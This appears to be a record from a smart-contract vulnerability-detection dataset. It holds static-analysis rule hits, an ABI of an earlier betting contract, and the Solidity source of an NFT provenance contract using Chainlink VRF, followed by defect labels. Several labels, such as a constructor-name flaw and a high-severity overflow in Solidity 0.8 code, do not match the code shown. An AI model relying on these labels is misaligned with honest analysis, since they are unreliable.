1168, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1196, "severity": 1}, {"rule": "SOLIDITY_TRANSFER_IN_LOOP", "line": 1354, "severity": 2}, {"rule": "SOLIDITY_UNCHECKED_CALL", "line": 366, "severity": 3}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 121, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 263, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 268, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 371, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 375, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 379, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 383, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 383, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 388, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 388, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 393, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 393, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 398, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 398, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 403, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 403, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 403, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 408, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 408, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 408, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 413, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 413, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 413, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 418, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 418, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 418, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 423, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 423, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 429, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 429, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 435, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 435, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 441, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 441, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 447, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 452, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 457, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 462, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 468, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 474, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 480, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 486, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 492, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 499, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 506, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 513, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 521, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 529, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 537, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 545, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 553, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 562, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 571, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 580, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 589, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 589, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 595, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 595, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 601, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 601, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 607, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 607, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 613, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 618, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 623, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 628, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 634, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 640, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 646, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 652, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 658, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 665, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 672, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 679, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 687, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 695, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 703, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 711, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 719, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 728, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 737, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 746, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 779, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 799, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 799, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 817, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 817, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 844, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 844, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 844, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 844, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 844, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 844, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 861, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 861, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 861, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 861, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 861, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 865, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 865, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 865, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 865, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 869, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 869, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 869, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 874, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 879, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 897, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 915, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 915, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 927, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 927, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 940, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 944, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1003, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1003, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1031, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1076, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1076, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1086, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1098, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1098, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1098, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1142, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1142, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1142, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1196, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1293, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1293, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1335, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1351, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 93, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 129, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 143, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 152, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 173, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 199, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 957, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 967, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 979, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1017, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1155, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1179, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1207, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 1237, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 35, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 36, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 37, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 38, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 39, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 40, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 41, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 42, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 43, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 44, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 45, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 46, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 47, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 51, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 365, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 368, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 291, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 292, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 293, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 294, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 295, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 296, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 297, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 298, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 299, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 300, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 301, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 302, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 303, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 304, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 306, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 308, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 939, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1000, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1001, "severity": 1}]
[{"constant":true,"inputs":[{"name":"","type":"uint256"},{"name":"","type":"uint256"}],"name":"entries","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"numbers","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"myid","type":"bytes32"},{"name":"res","type":"string"}],"name":"__callback","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"abort","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"myid","type":"bytes32"},{"name":"result","type":"string"},{"name":"proof","type":"bytes"}],"name":"__callback","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[],"name":"withdraw","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"result","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"better","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_betNumber","type":"uint256"}],"name":"bet","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"release","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[],"name":"rollover","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"state","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"betNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"generatedNumber","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"house","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"description","type":"string"}],"name":"newOraclizeQuery","type":"event"},{"anonymous":false,"inputs":[],"name":"Aborted","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"result","type":"uint256"}],"name":"Released","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"better","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"NewBet","type":"event"}]
v0.4.25+commit.59dbf8f1
false
200
Default
None
false
bzzr://7a9a197433956d1289875be1babc70199067db4442f81a372fee16c01310dc53
EthernalsProvenance
0x9af1977ba8593479efa8021fbb03fc10b1995551
Solidity
// File: contracts/EtheralsProvenance.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; import "@chainlink/contracts/src/v0.8/VRFConsumerBase.sol"; import '@openzeppelin/contracts/access/Ownable.sol'; contract EthernalsProvenance is VRFConsumerBase, Ownable { address internal LINK_ADDRESS = 0x514910771AF9Ca656af840dff83E8264EcF986CA; address internal VRF_COORDINATOR = 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952; bytes32 internal KEY_HASH = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; uint internal FEE = 2 * 10 ** 18; uint256 public startingIndex; string public provenance; constructor() VRFConsumerBase( VRF_COORDINATOR, LINK_ADDRESS ) { } function getRandomNumber() public onlyOwner returns (bytes32 requestId) { require(LINK.balanceOf(address(this)) >= FEE, "Not enough LINK"); return requestRandomness(KEY_HASH, FEE); } function fulfillRandomness(bytes32, uint256 randomness) internal override { startingIndex = (randomness % 5555) + 1; } function withdrawLink() external onlyOwner { LinkTokenInterface link = LinkTokenInterface(LINK_ADDRESS); require(link.transfer(msg.sender, link.balanceOf(address(this))), "Unable to transfer"); } function setProvenance(string memory newProvenance) public onlyOwner { require( _isEmptyString(provenance), "Provenance has been already defined" ); provenance = newProvenance; } function getProvenance() public view returns (string memory){ return provenance; } function _isEmptyString(string memory text) internal view virtual returns (bool) { bytes memory tempEmptyStringTest = bytes(text); return (tempEmptyStringTest.length == 0); } } // File: @chainlink/contracts/src/v0.8/VRFConsumerBase.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./interfaces/LinkTokenInterface.sol"; import "./VRFRequestIDBase.sol"; /** **************************************************************************** * @notice Interface for contracts using VRF randomness * ***************************************************************************** * @dev PURPOSE * * @dev Reggie the Random Oracle (not his real job) wants to provide randomness * @dev to Vera the verifier in such a way that Vera can be sure he's not * @dev making his output up to suit himself. Reggie provides Vera a public key * @dev to which he knows the secret key. Each time Vera provides a seed to * @dev Reggie, he gives back a value which is computed completely * @dev deterministically from the seed and the secret key. * * @dev Reggie provides a proof by which Vera can verify that the output was * @dev correctly computed once Reggie tells it to her, but without that proof, * @dev the output is indistinguishable to her from a uniform random sample * @dev from the output space. * * @dev The purpose of this contract is to make it easy for unrelated contracts * @dev to talk to Vera the verifier about the work Reggie is doing, to provide * @dev simple access to a verifiable source of randomness. * ***************************************************************************** * @dev USAGE * * @dev Calling contracts must inherit from VRFConsumerBase, and can * @dev initialize VRFConsumerBase's attributes in their constructor as * @dev shown: * * @dev contract VRFConsumer { * @dev constuctor(<other arguments>, address _vrfCoordinator, address _link) * @dev VRFConsumerBase(_vrfCoordinator, _link) public { * @dev <initialization with other arguments goes here> * @dev } * @dev } * * @dev The oracle will have given you an ID for the VRF keypair they have * @dev committed to (let's call it keyHash), and have told you the minimum LINK * @dev price for VRF service. Make sure your contract has sufficient LINK, and * @dev call requestRandomness(keyHash, fee, seed), where seed is the input you * @dev want to generate randomness from. * * @dev Once the VRFCoordinator has received and validated the oracle's response * @dev to your request, it will call your contract's fulfillRandomness method. * * @dev The randomness argument to fulfillRandomness is the actual random value * @dev generated from your seed. * * @dev The requestId argument is generated from the keyHash and the seed by * @dev makeRequestId(keyHash, seed). If your contract could have concurrent * @dev requests open, you can use the requestId to track which seed is * @dev associated with which randomness. See VRFRequestIDBase.sol for more * @dev details. (See "SECURITY CONSIDERATIONS" for principles to keep in mind, * @dev if your contract could have multiple requests in flight simultaneously.) * * @dev Colliding `requestId`s are cryptographically impossible as long as seeds * @dev differ. (Which is critical to making unpredictable randomness! See the * @dev next section.) * * ***************************************************************************** * @dev SECURITY CONSIDERATIONS * * @dev A method with the ability to call your fulfillRandomness method directly * @dev could spoof a VRF response with any random value, so it's critical that * @dev it cannot be directly called by anything other than this base contract * @dev (specifically, by the VRFConsumerBase.rawFulfillRandomness method). * * @dev For your users to trust that your contract's random behavior is free * @dev from malicious interference, it's best if you can write it so that all * @dev behaviors implied by a VRF response are executed *during* your * @dev fulfillRandomness method. If your contract must store the response (or * @dev anything derived from it) and use it later, you must ensure that any * @dev user-significant behavior which depends on that stored value cannot be * @dev manipulated by a subsequent VRF request. * * @dev Similarly, both miners and the VRF oracle itself have some influence * @dev over the order in which VRF responses appear on the blockchain, so if * @dev your contract could have multiple VRF requests in flight simultaneously, * @dev you must ensure that the order in which the VRF responses arrive cannot * @dev be used to manipulate your contract's user-significant behavior. * * @dev Since the ultimate input to the VRF is mixed with the block hash of the * @dev block in which the request is made, user-provided seeds have no impact * @dev on its economic security properties. They are only included for API * @dev compatability with previous versions of this contract. * * @dev Since the block hash of the block which contains the requestRandomness * @dev call is mixed into the input to the VRF *last*, a sufficiently powerful * @dev miner could, in principle, fork the blockchain to evict the block * @dev containing the request, forcing the request to be included in a * @dev different block with a different hash, and therefore a different input * @dev to the VRF. However, such an attack would incur a substantial economic * @dev cost. This cost scales with the number of blocks the VRF oracle waits * @dev until it calls responds to a request. */ abstract contract VRFConsumerBase is VRFRequestIDBase { /** * @notice fulfillRandomness handles the VRF response. Your contract must * @notice implement it. See "SECURITY CONSIDERATIONS" above for important * @notice principles to keep in mind when implementing your fulfillRandomness * @notice method. * * @dev VRFConsumerBase expects its subcontracts to have a method with this * @dev signature, and will call it once it has verified the proof * @dev associated with the randomness. (It is triggered via a call to * @dev rawFulfillRandomness, below.) * * @param requestId The Id initially returned by requestRandomness * @param randomness the VRF output */ function fulfillRandomness( bytes32 requestId, uint256 randomness ) internal virtual; /** * @dev In order to keep backwards compatibility we have kept the user * seed field around. We remove the use of it because given that the blockhash * enters later, it overrides whatever randomness the used seed provides. * Given that it adds no security, and can easily lead to misunderstandings, * we have removed it from usage and can now provide a simpler API. */ uint256 constant private USER_SEED_PLACEHOLDER = 0; /** * @notice requestRandomness initiates a request for VRF output given _seed * * @dev The fulfillRandomness method receives the output, once it's provided * @dev by the Oracle, and verified by the vrfCoordinator. * * @dev The _keyHash must already be registered with the VRFCoordinator, and * @dev the _fee must exceed the fee specified during registration of the * @dev _keyHash. * * @dev The _seed parameter is vestigial, and is kept only for API * @dev compatibility with older versions. It can't *hurt* to mix in some of * @dev your own randomness, here, but it's not necessary because the VRF * @dev oracle will mix the hash of the block containing your request into the * @dev VRF seed it ultimately uses. * * @param _keyHash ID of public key against which randomness is generated * @param _fee The amount of LINK to send with the request * * @return requestId unique ID for this request * * @dev The returned requestId can be used to distinguish responses to * @dev concurrent requests. It is passed as the first argument to * @dev fulfillRandomness. */ function requestRandomness( bytes32 _keyHash, uint256 _fee ) internal returns ( bytes32 requestId ) { LINK.transferAndCall(vrfCoordinator, _fee, abi.encode(_keyHash, USER_SEED_PLACEHOLDER)); // This is the seed passed to VRFCoordinator. The oracle will mix this with // the hash of the block containing this request to obtain the seed/input // which is finally passed to the VRF cryptographic machinery. uint256 vRFSeed = makeVRFInputSeed(_keyHash, USER_SEED_PLACEHOLDER, address(this), nonces[_keyHash]); // nonces[_keyHash] must stay in sync with // VRFCoordinator.nonces[_keyHash][this], which was incremented by the above // successful LINK.transferAndCall (in VRFCoordinator.randomnessRequest). // This provides protection against the user repeating their input seed, // which would result in a predictable/duplicate output, if multiple such // requests appeared in the same block. nonces[_keyHash] = nonces[_keyHash] + 1; return makeRequestId(_keyHash, vRFSeed); } LinkTokenInterface immutable internal LINK; address immutable private vrfCoordinator; // Nonces for each VRF key from which randomness has been requested. // // Must stay in sync with VRFCoordinator[_keyHash][this] mapping(bytes32 /* keyHash */ => uint256 /* nonce */) private nonces; /** * @param _vrfCoordinator address of VRFCoordinator contract * @param _link address of LINK token contract * * @dev https://docs.chain.link/docs/link-token-contracts */ constructor( address _vrfCoordinator, address _link ) { vrfCoordinator = _vrfCoordinator; LINK = LinkTokenInterface(_link); } // rawFulfillRandomness is called by VRFCoordinator when it receives a valid VRF // proof. rawFulfillRandomness then calls fulfillRandomness, after validating // the origin of the call function rawFulfillRandomness( bytes32 requestId, uint256 randomness ) external { require(msg.sender == vrfCoordinator, "Only VRFCoordinator can fulfill"); fulfillRandomness(requestId, randomness); } } // File: @openzeppelin/contracts/access/Ownable.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @chainlink/contracts/src/v0.8/interfaces/LinkTokenInterface.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface LinkTokenInterface { function allowance( address owner, address spender ) external view returns ( uint256 remaining ); function approve( address spender, uint256 value ) external returns ( bool success ); function balanceOf( address owner ) external view returns ( uint256 balance ); function decimals() external view returns ( uint8 decimalPlaces ); function decreaseApproval( address spender, uint256 addedValue ) external returns ( bool success ); function increaseApproval( address spender, uint256 subtractedValue ) external; function name() external view returns ( string memory tokenName ); function symbol() external view returns ( string memory tokenSymbol ); function totalSupply() external view returns ( uint256 totalTokensIssued ); function transfer( address to, uint256 value ) external returns ( bool success ); function transferAndCall( address to, uint256 value, bytes calldata data ) external returns ( bool success ); function transferFrom( address from, address to, uint256 value ) external returns ( bool success ); } // File: @chainlink/contracts/src/v0.8/VRFRequestIDBase.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract VRFRequestIDBase { /** * @notice returns the seed which is actually input to the VRF coordinator * * @dev To prevent repetition of VRF output due to repetition of the * @dev user-supplied seed, that seed is combined in a hash with the * @dev user-specific nonce, and the address of the consuming contract. The * @dev risk of repetition is mostly mitigated by inclusion of a blockhash in * @dev the final seed, but the nonce does protect against repetition in * @dev requests which are included in a single block. * * @param _userSeed VRF seed input provided by user * @param _requester Address of the requesting contract * @param _nonce User-specific nonce at the time of the request */ function makeVRFInputSeed( bytes32 _keyHash, uint256 _userSeed, address _requester, uint256 _nonce ) internal pure returns ( uint256 ) { return uint256(keccak256(abi.encode(_keyHash, _userSeed, _requester, _nonce))); } /** * @notice Returns the id for this request * @param _keyHash The serviceAgreement ID to be used for this request * @param _vRFInputSeed The seed to be passed directly to the VRF * @return The id for this request * * @dev Note that _vRFInputSeed is not the seed passed by the consuming * @dev contract, but the one generated by makeVRFInputSeed */ function makeRequestId( bytes32 _keyHash, uint256 _vRFInputSeed ) internal pure returns ( bytes32 ) { return keccak256(abi.encodePacked(_keyHash, _vRFInputSeed)); } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } }
[{"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["463"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["14"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["335", "308", "323"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["29"]}]
